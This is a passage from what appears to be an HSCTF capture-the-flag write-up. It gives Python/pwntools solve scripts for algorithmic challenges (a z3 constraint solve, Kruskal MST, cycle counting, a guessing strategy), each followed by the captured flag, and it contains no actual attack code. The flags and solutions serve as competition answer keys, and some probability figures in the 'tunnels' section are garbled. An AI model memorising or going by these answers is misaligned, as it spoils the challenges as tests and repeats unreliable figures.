        s.add(x[i] >= 32)
        s.add(x[i] < 127)
    for i in range(100):
        s.add(eval(f"{xs[3*i]} * {consts[4*i]} * ({xs[3*i+1]} - {consts[4*i+1]}) * ({xs[3*i+2]} + {consts[4*i+2]}) == {consts[4*i+3]}"))
    s.check()
    m = s.model()
    
    print("".join([chr(m[x[i]].as_long()) for i in range(58)]))

    flag{imagine_solving_this_challenge_manually_8b626e31b1cb}

    algorithms

    hacking-part-2

    25 solves

    The story is so long but it comes down to constructing a minimum global tree. This can be easily found by Kruskal's algorithm. I referred to this article.

    solve.py
    def root(x):
        if x == p[x]:
            return x
        p[x] = y = root(p[x])
        return y
    
    
    def unite(x, y):
        px = root(x)
        py = root(y)
        if px == py:
            return 0
        if px < py:
            p[py] = px
        else:
            p[px] = py
        return 1
    
    
    io = remote("hacking-pt2.hsctf.com", 1337)
    _ = io.recvline()
    
    
    for _ in range(5):
        _ = io.recvuntil(b"Test case")
        _ = io.recvline()
        N = int(io.recvline())
        E = []
        for i in range(N):
            inp_line = io.recvline().strip().decode()
            for pair in inp_line.split():
                tmp_target, tmp_cost = map(int, pair.split(","))
                E.append((tmp_cost, i, tmp_target - 1))
                E.append((tmp_cost, tmp_target - 1, i))
        p = list(range(N))
        E.sort()
        ans = 0
        for c, v, w in E:
            if unite(v, w):
                ans += c
        io.sendlineafter(b"Answer: ", str(ans).encode())
    print(io.recvall())

    flag{eLjMiKe_Is_PrOuD_oF_yOu}

    hacking

    37 solves

    We can consider the directed graph whose node is a hacker and edge is a target. The answer equals to the number of nodes on cycle. This can be checked by dfs or something.

    solve.py
    import sys
    from pwn import remote
    sys.setrecursionlimit = 10 ** 7
    
    io = remote("hacking.hsctf.com", 1337)
    io.recvuntil(b"You can run the solver with:\n")
    ret = io.recvline().strip().decode()
    print(ret)
    sol = input("please!")
    io.sendlineafter(b"Solution? ", sol.encode())
    
    _ = io.recvline()
    _ = io.recvline()
    inputs = []
    for _ in range(5):
        inputs.append(list(map(lambda x: int(x) - 1, io.recvline().strip().decode().split(","))))
    
    
    def dfs(inp, i, path):
        global used
        if i in path:
            for v, n in path.items():
                if n < path[i]:
                    used[v] = 0
                else:
                    used[v] = 1
            return
        path[i] = len(path)
        next_i = inp[i]
        if used[next_i] in [0, 1]:
            for v, n in path.items():
                used[v] = 0
            used[i] = 0
        else:
            dfs(inp, next_i, path)
    
    
    outputs = []
    for inp in inputs:
        N = len(inp)
        used = [-1] * N
        i = 0
        while True:
            if i >= N:
                break
            if used[i] != -1:
                i += 1
                continue
            dfs(inp, i, {})
        outputs.append(sum(used))
    ans = ", ".join(map(str, outputs))
    io.sendline(ans)
    io.interactive()

    flag{cOnGrAtS_yOu_ArE_nOw_A_hAcKeR}

    tunnels

    45 solves

    If we can try to guess more than eight, [2, 3, 4, 5, 6, 7, 7, 6, 5, 4, 3, 2] certainly wins. If we give up two patterns, (1) b40m1k3 first in 4 and move to 3, (2) b40m1k3 in 5 and move to 6 at 5 day, [2, 5, 6, 7, 7, 4, 3, 2] wins. These patterns happen 1/81/8 of the time (so the success rate is 7/87/8). This is a little bit small but my pray causes success.

    solve.py
    from pwn import remote, context
    
    context.log_level = "DEBUG"
    
    io = remote("tunnels.hsctf.com", 1337)
    cands = list(map(str, [2, 5, 6, 7, 7, 4, 3, 2]))  # 
    
    while True:
        io = remote("tunnels.hsctf.com", 1337)
        io.recvline()
        valid = True
        n_correct = 0
        for n in range(200):
            for i in range(8):
                io.sendlineafter(b"guess: ", cands[i].encode())
                ret = io.recvline().strip().decode()
                if ret == "correct":
                    n_correct += 1
                    break
            print(n_correct, n + 1)
            if n <= 50:
                if n_correct < n - 4:
                    valid = False
                    break
            elif n <= 100:
                if n_correct < n - 6:
                    valid = False
                    break
            if n_correct < n - 13:
                valid = False
                break
        if not valid:
            io.close()
            continue
        print(io.recvall())
        io.close()
        break

    flag{b4om1k3_15_4_v3ry_1nt3r35t1ng_p3r50n_924972020}

    misc

    count-your-blessings-if-you-can

    17 solves redacted since writeup for this chall is prohibited before the prize verificationis end.